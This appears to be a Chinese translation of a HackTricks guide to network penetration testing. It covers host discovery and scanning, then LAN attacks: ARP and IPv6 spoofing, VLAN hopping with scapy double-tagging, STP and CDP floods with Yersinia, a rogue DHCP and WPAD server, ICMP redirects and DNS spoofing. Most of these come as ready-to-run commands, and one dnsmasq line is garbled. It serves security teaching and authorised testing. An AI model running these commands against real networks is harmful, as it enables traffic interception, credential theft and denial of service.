Pentesting Network

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

从外部发现主机

这将是一个关于如何发现互联网上响应的IP地址简短部分。 在这种情况下,您有一些IP范围(甚至可能有几个范围),您只需找出哪些IP地址正在响应

ICMP

这是发现主机是否启动的最简单最快的方法。 您可以尝试发送一些ICMP数据包并期望响应。最简单的方法就是发送一个回显请求并期望响应。您可以使用简单的ping或使用fping来处理范围。 您还可以使用nmap发送其他类型的ICMP数据包(这将避免常见的ICMP回显请求-响应的过滤器)。

ping -c 1 199.66.11.4    # 1 echo request to a host
fping -g 199.66.11.0/24  # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests

TCP端口发现

很常见的情况是发现所有类型的ICMP数据包都被过滤了。那么,你可以做的就是尝试查找开放的端口来检查主机是否在线。每台主机有65535个端口,所以,如果你有一个"大"的范围,你无法测试每台主机的每个端口是否开放,那将会花费太多时间。 因此,你需要一个快速端口扫描器masscan)和一个常用端口的列表

#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24

HTTP端口发现

这只是一个TCP端口发现,当您想要专注于发现HTTP服务时非常有用:

masscan -p80,443,8000-8100,8443 199.66.11.0/24

UDP端口发现

您还可以尝试检查一些UDP端口是否开放,以决定是否应该更加关注某个主机。由于UDP服务通常不会对常规空的UDP探测数据包做出任何响应,因此很难判断端口是被过滤还是开放的。最简单的方法是发送与运行服务相关的数据包,由于您不知道运行的是哪种服务,因此应该根据端口号尝试最有可能的服务:

nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable

在之前提出的nmap命令行将测试**/24范围内每个主机的前1000个UDP端口**,但即使只有这样也需要**>20分钟**。如果需要更快的结果,可以使用udp-proto-scanner./udp-proto-scanner.pl 199.66.11.53/24 这将向它们的预期端口发送这些UDP探针(对于/24范围,这只需要1分钟):DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.

SCTP端口发现

#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>

WiFi渗透测试

在这里,您可以找到一份关于所有众所周知的WiFi攻击的指南,该指南是在撰写本文时的最新信息:

pagePentesting Wifi

从内部发现主机

如果您在网络内部,您可能首先想要做的事情之一就是发现其他主机。根据您可以/想要制造的噪音量的多少,可以执行不同的操作:

被动

您可以使用以下工具被动地发现连接网络内部的主机:

netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info

主动

请注意,在从外部发现主机TCP/HTTP/UDP/SCTP端口发现)中评论的技术也可以应用在这里。 但是,由于您与其他主机在同一网络中,您可以做更多的事情

#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)

#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain

# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)

#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.

主动 ICMP

请注意,在 从外部发现主机 中评论的技术(ICMP)也可以应用在这里。 但是,由于您与其他主机在同一网络中,您可以做更多的事情

  • 如果您ping一个子网广播地址,ping应该会到达每个主机,它们可能会响应ping -b 10.10.5.255

  • 网络广播地址进行ping,甚至可以找到其他子网内的主机ping -b 255.255.255.255

  • 使用nmap-PE-PP-PM标志执行主机发现,分别发送ICMPv4 echo时间戳子网掩码请求nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24

远程唤醒

远程唤醒用于通过网络消息启动计算机。用于启动计算机的魔术数据包只是一个数据包,其中提供了一个MAC目标,然后在同一个数据包中重复16次。 然后,这种类型的数据包通常发送到以太网 0x0842UDP数据包到端口9。 如果未提供**[MAC],则数据包将发送到广播以太网**(广播MAC将被重复)。

# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9

扫描主机

一旦您发现了所有要深入扫描的IP(外部或内部),就可以执行不同的操作。

TCP

  • 开放端口:SYN --> SYN/ACK --> RST

  • 关闭端口:SYN --> RST/ACK

  • 过滤端口:SYN --> [无响应]

  • 过滤端口:SYN --> ICMP消息

# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>

#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000

UDP

有两种选项来扫描 UDP 端口:

  • 发送一个 UDP 数据包 并检查响应中的 ICMP 不可达 如果端口是 关闭(在一些情况下 ICMP 将会被 过滤,因此您将无法收到端口是关闭还是打开的信息)。

  • 发送一个 格式化数据报 来引发一个来自 服务 的响应(例如,DNS、DHCP、TFTP 等,在 nmap-payloads 中列出)。如果您收到一个 响应,那么端口是 打开

Nmap 将使用 "-sV" 混合 这两种选项(UDP 扫描非常慢),但请注意 UDP 扫描比 TCP 扫描慢:

# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time

SCTP扫描

SCTP(流控制传输协议)旨在与TCP(传输控制协议)和UDP(用户数据报协议)一起使用。其主要目的是在IP网络上便捷地传输电话数据,反映了信令系统7(SS7)中许多可靠性特性。SCTP是SIGTRAN协议系列的核心组件,旨在在IP网络上传输SS7信号。

各种操作系统提供对SCTP的支持,如IBM AIXOracle SolarisHP-UXLinuxCisco IOSVxWorks,表明其在电信和网络领域的广泛接受和实用性。

nmap提供了两种不同的SCTP扫描:-sY_和-sZ_

# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>

IDS和IPS规避

pageIDS and IPS Evasion

更多nmap选项

pageNmap Summary (ESP)

揭示内部IP地址

配置错误的路由器、防火墙和网络设备有时会使用非公共源地址响应网络探测。可以使用tcpdump来识别在测试期间从私有地址接收的数据包。具体来说,在Kali Linux上,可以在从公共互联网访问的eth2接口上捕获数据包。需要注意的是,如果您的设置位于NAT或防火墙后面,这些数据包很可能会被过滤掉。

tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64

Sniffing

通过审查捕获的帧和数据包,您可以学习有关IP范围、子网大小、MAC地址和主机名的详细信息。如果网络配置不正确或交换机结构受到压力,攻击者可以通过被动网络嗅探捕获敏感材料。

如果交换式以太网网络配置正确,您只会看到广播帧和发送到您的MAC地址的材料。

TCPDump

sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"

一个人也可以在SSH会话中使用Wireshark作为GUI实时捕获远程机器的数据包。

ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic

Bettercap

net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local  #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered

Wireshark

显而易见。

捕获凭证

您可以使用类似工具https://github.com/lgandx/PCredz来解析从pcap文件或实时接口中提取的凭证。

局域网攻击

ARP欺骗

ARP欺骗是指发送伪造的ARP响应,指示某台机器的IP具有我们设备的MAC地址。然后,受害者将更改ARP表,并在每次要联系伪造IP时与我们的机器联系。

Bettercap

arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)

Arpspoof

Arpspoof是一个简单的工具,用于欺骗局域网上的主机,使其相信攻击者的计算机是网络中的网关。

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1

MAC flooding - CAM溢出

通过发送大量具有不同源MAC地址的数据包来溢出交换机的CAM表。当CAM表已满时,交换机会开始表现得像集线器(广播所有流量)。

macof -i <interface>

802.1Q VLAN / DTP 攻击

动态干道

动态干道协议 (DTP) 被设计为一种链路层协议,用于促进自动干道系统,允许交换机自动选择端口进入干道模式(Trunk)或非干道模式。部署 DTP 通常被视为网络设计不佳的指标,强调只在必要时手动配置干道,并确保适当的文档记录。

默认情况下,交换机端口设置为动态自动模式,这意味着如果邻近交换机发出提示,它们将准备好启动干道。当渗透测试人员或攻击者连接到交换机并发送 DTP Desirable 帧时,会出现安全问题,迫使端口进入干道模式。此操作使攻击者能够通过 STP 帧分析枚举 VLAN,并通过设置虚拟接口来规避 VLAN 分割。

许多交换机默认情况下存在 DTP,对手可以利用这一点模仿交换机的行为,从而访问所有 VLAN 的流量。脚本 dtpscan.sh 用于监视接口,显示交换机处于默认、干道、动态、自动或访问模式中的哪一种——后者是唯一免疫 VLAN 跳跃攻击的配置。该工具评估了交换机的漏洞状态。

如果发现网络漏洞,可以使用 Yersinia 工具通过 DTP 协议“启用干道”,从而观察来自所有 VLAN 的数据包。

apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"

yersinia -G #For graphic mode

要枚举 VLAN,也可以使用脚本DTPHijacking.py**生成 DTP Desirable 帧。**切勿在任何情况下中断脚本。它每三秒注入一个 DTP Desirable。交换机上动态创建的干道通道只能存活五分钟。五分钟后,干道会消失。

sudo python3 DTPHijacking.py --interface eth0

我想指出Access/Desirable (0x03)表示DTP帧是Desirable类型,告诉端口切换到Trunk模式。而802.1Q/802.1Q (0xa5)表示802.1Q封装类型。

通过分析STP帧,我们了解到VLAN 30和VLAN 60的存在

攻击特定VLAN

一旦您知道VLAN ID和IP值,您可以配置虚拟接口以攻击特定VLAN。 如果DHCP不可用,则使用_ifconfig_设置静态IP地址。

root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250  Link encap:Ethernet  HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86  Bcast:10.121.5.255  Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB)  TX bytes:1654 (1.6 KiB)

root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30

自动 VLAN 跳跃器

讨论的攻击动态干线和创建虚拟接口以及发现其他 VLAN 中的主机是由工具自动执行的:https://github.com/nccgroup/vlan-hopping---frogger

双重标记

如果攻击者知道受害主机的MAC、IP 和 VLAN ID 的值,他可以尝试用指定的 VLAN 和受害者的 VLAN 双重标记一个帧 并发送一个数据包。由于受害者无法与攻击者连接回来,所以攻击者的最佳选择是通过 UDP 通信到可以执行一些有趣操作的协议(如 SNMP)。

攻击者的另一个选择是发起一个TCP 端口扫描,欺骗攻击者控制的 IP 并可被受害者访问(可能通过互联网)。然后,攻击者可以嗅探他拥有的第二个主机是否收到来自受害者的一些数据包。

要执行此攻击,您可以使用 scapy:pip install scapy

from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)

侧向 VLAN 分割绕过

如果您可以访问直接连接的交换机,则可以在网络中绕过 VLAN 分割。只需将端口切换到干线模式(也称为干线),使用目标 VLAN 的 ID 创建虚拟接口,并配置 IP 地址。您可以尝试动态请求地址(DHCP),也可以静态配置。这取决于具体情况。

pageLateral VLAN Segmentation Bypass

第 3 层私有 VLAN 绕过

在某些环境中,例如访客无线网络,实施了**端口隔离(也称为私有 VLAN)**设置,以防止连接到无线接入点的客户端直接相互通信。然而,已经确定了一种可以规避这些隔离措施的技术。该技术利用网络 ACL 的缺失或其不正确配置,使 IP 数据包能够通过路由器路由到同一网络上的另一个客户端。

攻击是通过创建一个携带目标客户端 IP 地址但带有路由器 MAC 地址的数据包来执行的。这会导致路由器错误地将数据包转发到目标客户端。这种方法类似于双标记攻击中使用的方法,其中利用可访问受害者的主机的能力来利用安全漏洞。

攻击的关键步骤:

  1. **构造数据包:**特别构造一个数据包,其中包含目标客户端的 IP 地址,但带有路由器的 MAC 地址。

  2. **利用路由器行为:**发送构造的数据包到路由器,由于配置,路由器将数据包重定向到目标客户端,绕过私有 VLAN 设置提供的隔离。

VTP 攻击

VTP(VLAN 干线协议)集中管理 VLAN。它利用修订号来维护 VLAN 数据库的完整性;任何修改都会增加此编号。交换机采用具有较高修订号的配置,更新其自己的 VLAN 数据库。

VTP 域角色

  • VTP 服务器: 管理 VLAN — 创建、删除、修改。它向域成员广播 VTP 公告。

  • VTP 客户端: 接收 VTP 公告以同步其 VLAN 数据库。此角色受限于本地 VLAN 配置修改。

  • VTP 透明: 不参与 VTP 更新,但转发 VTP 公告。不受 VTP 攻击影响,保持恒定的修订号为零。

VTP 广告类型

  • 摘要广告: 每 300 秒由 VTP 服务器广播,携带基本域信息。

  • 子集广告: 在 VLAN 配置更改后发送。

  • 广告请求: 由 VTP 客户端发出以请求摘要广告,通常是响应于检测到更高配置修订号。

VTP 漏洞仅通过干线端口可利用,因为 VTP 公告仅通过它们传播。DTP 攻击后的情景可能转向 VTP。诸如 Yersinia 之类的工具可以促进 VTP 攻击,旨在清除 VLAN 数据库,有效地干扰网络。

注意:此讨论涉及 VTP 版本 1(VTPv1)。

%% yersinia -G # Launch Yersinia in graphical mode ```

STP 攻击

如果您无法在接口上捕获 BPDU 帧,则很可能无法成功进行 STP 攻击。

STP BPDU DoS

通过发送大量的 BPDUs TCP(拓扑更改通知)或 Conf(在创建拓扑时发送的 BPDU)来使交换机过载并停止正常工作。

yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing

STP TCP 攻击

当发送 TCP 时,交换机的 CAM 表将在 15 秒内被删除。然后,如果持续发送这种类型的数据包,CAM 表将不断重新启动(或每 15 秒一次),当它重新启动时,交换机的行为类似于集线器。

yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen

STP根攻击

攻击者模拟交换机的行为,成为网络的STP根。然后,更多数据将通过他传递。当您连接到两个不同的交换机时,这将变得有趣。 这是通过发送BPDUs CONF数据包,指示优先级值小于实际根交换机的优先级来实现的。

yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root

如果攻击者连接到2个交换机,他可以成为新树的根,这两个交换机之间的所有流量都将通过他传递(将执行中间人攻击)。

yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages

CDP 攻击

思科发现协议(CDP)对于思科设备之间的通信至关重要,使它们能够识别彼此并共享配置详细信息

被动数据收集

CDP 被配置为通过所有端口广播信息,这可能导致安全风险。攻击者连接到交换机端口后,可以部署网络嗅探工具,如WiresharktcpdumpYersinia。这一行为可能会泄露有关网络设备的敏感数据,包括其型号和运行的 Cisco IOS 版本。攻击者随后可能针对已识别的 Cisco IOS 版本中的特定漏洞进行攻击。

引发 CDP 表洪泛

一种更具侵略性的方法涉及发动拒绝服务(DoS)攻击,通过淹没交换机的内存,假装成合法的思科设备。以下是使用 Yersinia 发起此类攻击的命令序列,Yersinia 是一款专为测试而设计的网络工具:

sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G

在这种攻击中,交换机的 CPU 和 CDP 邻居表负担过重,通常会导致所谓的**“网络瘫痪”**,因为资源消耗过多。

CDP 冒充攻击

sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet

您也可以使用scapy。请确保使用scapy/contrib软件包进行安装。

VoIP 攻击和 VoIP Hopper 工具

VoIP 电话与物联网设备越来越集成,提供诸如通过特殊电话号码解锁门或控制恒温器等功能。然而,这种集成可能带来安全风险。

该工具 voiphopper 旨在在各种环境中模拟 VoIP 电话(Cisco、Avaya、Nortel、Alcatel-Lucent)。它使用诸如 CDP、DHCP、LLDP-MED 和 802.1Q ARP 等协议来发现语音网络的 VLAN ID。

VoIP Hopper 提供了三种 Cisco Discovery Protocol (CDP) 的模式:

  1. Sniff Mode-c 0):分析网络数据包以识别 VLAN ID。

  2. Spoof Mode-c 1):生成模仿实际 VoIP 设备数据包的自定义数据包。

  3. Spoof with Pre-made Packet Mode-c 2):发送与特定 Cisco IP 电话型号相同的数据包。

速度最快的首选模式是第三种。它需要指定:

  • 攻击者的网络接口(-i 参数)。

  • 被模拟的 VoIP 设备的名称(-E 参数),遵循 Cisco 命名格式(例如,SEP 后跟 MAC 地址)。

在企业设置中,要模仿现有的 VoIP 设备,可以:

  • 检查电话上的 MAC 标签。

  • 浏览电话的显示设置以查看型号信息。

  • 将 VoIP 设备连接到笔记本电脑,并使用 Wireshark 观察 CDP 请求。

执行该工具的第三种模式的示例命令可能是:

voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2

DHCP 攻击

枚举

nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
|   Response 1 of 1:
|     IP Offered: 192.168.1.250
|     DHCP Message Type: DHCPOFFER
|     Server Identifier: 192.168.1.1
|     IP Address Lease Time: 1m00s
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1
|_    Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds

DoS

针对 DHCP 服务器可以执行两种类型的 DoS 攻击。第一种类型是模拟足够多的虚假主机以使用所有可能的 IP 地址。 只有在您能够看到 DHCP 服务器的响应并完成协议(Discover(计算机)--> Offer(服务器)--> Request(计算机)--> ACK(服务器))时,此攻击才会生效。例如,这在Wifi 网络中是不可能的

执行 DHCP DoS 的另一种方法是发送一个使用每个可能的 IP 作为源代码的 DHCP-RELEASE 数据包。然后,服务器会认为每个人都已经完成了对该 IP 的使用。

yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed

更自动化的方法是使用工具DHCPing

您可以使用上述DoS攻击来强制客户端在环境中获取新的租约,并耗尽合法服务器,使其无法响应。因此,当合法服务器尝试重新连接时,您可以提供下一个攻击中提到的恶意值

设置恶意值

可以使用位于/usr/share/responder/DHCP.py的DHCP脚本设置一个恶意的DHCP服务器。这对于网络攻击非常有用,比如通过将流量重定向到恶意服务器来捕获HTTP流量和凭据。然而,设置一个恶意的网关效果较差,因为它只允许捕获客户端的出站流量,无法获取真实网关的响应。相反,建议设置一个恶意的DNS或WPAD服务器以进行更有效的攻击。

以下是配置恶意DHCP服务器的命令选项:

  • 我们的IP地址(网关广告):使用-i 10.0.0.100将您的机器IP作为网关进行广告。

  • 本地DNS域名:可选地,使用-d example.org设置本地DNS域名。

  • 原始路由器/网关IP:使用-r 10.0.0.1指定合法路由器或网关的IP地址。

  • 主DNS服务器IP:使用-p 10.0.0.100设置您控制的恶意DNS服务器的IP地址。

  • 次要DNS服务器IP:可选地,使用-s 10.0.0.1设置次要DNS服务器IP。

  • 本地网络的子网掩码:使用-n 255.255.255.0定义本地网络的子网掩码。

  • 用于DHCP流量的接口:使用-I eth1在特定网络接口上监听DHCP流量。

  • WPAD配置地址:使用-w “http://10.0.0.100/wpad.dat”设置WPAD配置的地址,帮助拦截Web流量。

  • 欺骗默认网关IP:包括-S来欺骗默认网关IP地址。

  • 响应所有DHCP请求:包括-R使服务器响应所有DHCP请求,但请注意这会产生噪音并可能被检测到。

通过正确使用这些选项,可以建立一个恶意的DHCP服务器来有效拦截网络流量。

# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R

EAP 攻击

以下是针对 802.1X 实现可用的一些攻击策略:

  • 通过 EAP 进行主动暴力破解密码

  • 利用恶意 EAP 内容攻击 RADIUS 服务器 **(exploits)

  • 捕获 EAP 消息并离线破解密码 (EAP-MD5 和 PEAP)

  • 强制使用 EAP-MD5 认证绕过 TLS 证书验证

  • 在使用集线器或类似设备进行认证时注入恶意网络流量

如果攻击者位于受害者和认证服务器之间,他可以尝试降级(如果必要)认证协议至 EAP-MD5 并捕获认证尝试。然后,他可以使用暴力破解:

eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt

FHRP(GLBP & HSRP)攻击

FHRP(First Hop Redundancy Protocol)是一类旨在创建热备份路由系统的网络协议。通过FHRP,物理路由器可以组合成单个逻辑设备,提高容错能力并帮助分担负载。

思科系统工程师开发了两种FHRP协议,GLBP和HSRP。

pageGLBP & HSRP Attacks

RIP

已知存在三个版本的路由信息协议(RIP):RIP、RIPv2和RIPng。通过RIP和RIPv2,数据报通过UDP端口520发送给对等方,而通过RIPng,数据报通过IPv6组播广播到UDP端口521。RIPv2引入了MD5认证支持。另一方面,RIPng不包含原生认证,而是依赖IPv6中的可选IPsec AH和ESP头。

  • RIP和RIPv2: 通过UDP数据报在端口520上通信。

  • RIPng: 利用UDP端口521通过IPv6组播广播数据报。

请注意,RIPv2支持MD5认证,而RIPng不包含原生认证,依赖IPv6中的IPsec AH和ESP头。

EIGRP攻击

EIGRP(增强内部网关路由协议)是一种动态路由协议。它是一种距离矢量协议。如果没有认证和被动接口配置,入侵者可以干扰EIGRP路由并导致路由表污染。此外,EIGRP网络(换句话说,自治系统)是扁平的,没有分成任何区域。如果攻击者注入路由,这条路由很可能会传播到整个自治系统的EIGRP中。

要攻击EIGRP系统需要与合法的EIGRP路由器建立邻居关系,这打开了许多可能性,从基本的侦察到各种注入。

FRRouting允许您实现支持BGP、OSPF、EIGRP、RIP和其他协议的虚拟路由器。您只需在攻击者系统上部署它,实际上就可以假装成路由域中的合法路由器。

pageEIGRP Attacks

Coly具有拦截EIGRP(增强内部网关路由协议)广播的功能。它还允许注入数据包,可用于更改路由配置。

OSPF

在开放最短路径优先(OSPF)协议中,通常使用MD5认证来确保路由器之间的安全通信。然而,这种安全措施可以通过Loki和John the Ripper等工具来破解。这些工具能够捕获和破解MD5哈希,暴露认证密钥。一旦获得该密钥,就可以用于引入新的路由信息。为了配置路由参数并建立受损密钥,分别使用_Injection_和_Connection_选项卡。

  • 捕获和破解MD5哈希: 用于此目的的工具包括Loki和John the Ripper。

  • 配置路由参数: 通过_Injection_选项卡完成。

  • 设置受损密钥: 密钥在_Connection_选项卡下配置。

其他通用工具和资源

  • Above:用于扫描网络流量并查找漏洞的工具

  • 您可以在此处找到有关网络攻击的更多信息

欺骗

攻击者通过发送虚假的DHCP响应配置新网络成员的所有网络参数(网关、IP、DNS)。

Ettercap
yersinia dhcp -attack 2 #More parameters are needed

ARP欺骗

查看前一节

ICMP重定向

ICMP重定向是指发送一种ICMP数据包,类型为1,代码为5,表明攻击者是到达某个IP地址的最佳路径。然后,当受害者想要联系该IP地址时,数据包将通过攻击者发送。

Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]

DNS欺骗

攻击者将解析受害者请求的一些(或全部)域名。

set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on

使用 dnsmasq 配置自己的 DNS

apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1   domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS

本地网关

通常存在到系统和网络的多条路由。在构建本地网络中的MAC地址列表后,使用 gateway-finder.py 来识别支持IPv4转发的主机。

root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100     00:13:72:09:ad:76       Dell Inc.
10.0.0.200     00:90:27:43:c0:57       INTEL CORPORATION
10.0.0.254     00:08:74:c0:40:ce       Dell Computer Corp.

root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]

在 DNS 查询失败时,Microsoft 系统依赖于链路本地多播名称解析 (LLMNR)NetBIOS 名称服务 (NBT-NS) 来进行本地主机解析。同样,Apple BonjourLinux 零配置实现利用多播 DNS (mDNS) 来发现网络中的系统。由于这些协议的非身份验证性质以及它们通过 UDP 广播消息进行操作,攻击者可以利用它们来重定向用户到恶意服务。

您可以使用 Responder 模拟被主机搜索的服务,发送虚假响应。 阅读更多关于如何使用 Responder 模拟服务的信息。

浏览器通常使用Web 代理自动发现 (WPAD) 协议来自动获取代理设置。这涉及从服务器获取配置详细信息,具体来说是通过 URL,例如 "http://wpad.example.org/wpad.dat"。客户端发现此服务器可以通过各种机制实现:

  • 通过DHCP,其中通过使用特殊代码 252 条目来促进发现。

  • 通过DNS,这涉及在本地域中搜索标记为 wpad 的主机名。

  • 通过Microsoft LLMNR 和 NBT-NS,这是在 DNS 查询不成功的情况下使用的后备机制。

工具 Responder 利用此协议充当恶意 WPAD 服务器。它使用 DHCP、DNS、LLMNR 和 NBT-NS 来误导客户端连接到它。要深入了解如何使用 Responder 模拟服务,请查看此处

您可以在网络中提供不同的服务,试图欺骗用户输入一些明文凭据。有关此攻击的更多信息请参阅欺骗 SSDP 和 UPnP 设备

IPv6 邻居欺骗

这种攻击与 ARP 欺骗非常相似,但是在 IPv6 世界中。您可以让受害者认为网关的 IPv6 具有攻击者的 MAC 地址。

sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds

IPv6路由器通告欺骗/洪泛

一些操作系统默认配置为从网络中发送的RA数据包中获取网关。要将攻击者声明为IPv6路由器,您可以使用:

sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16

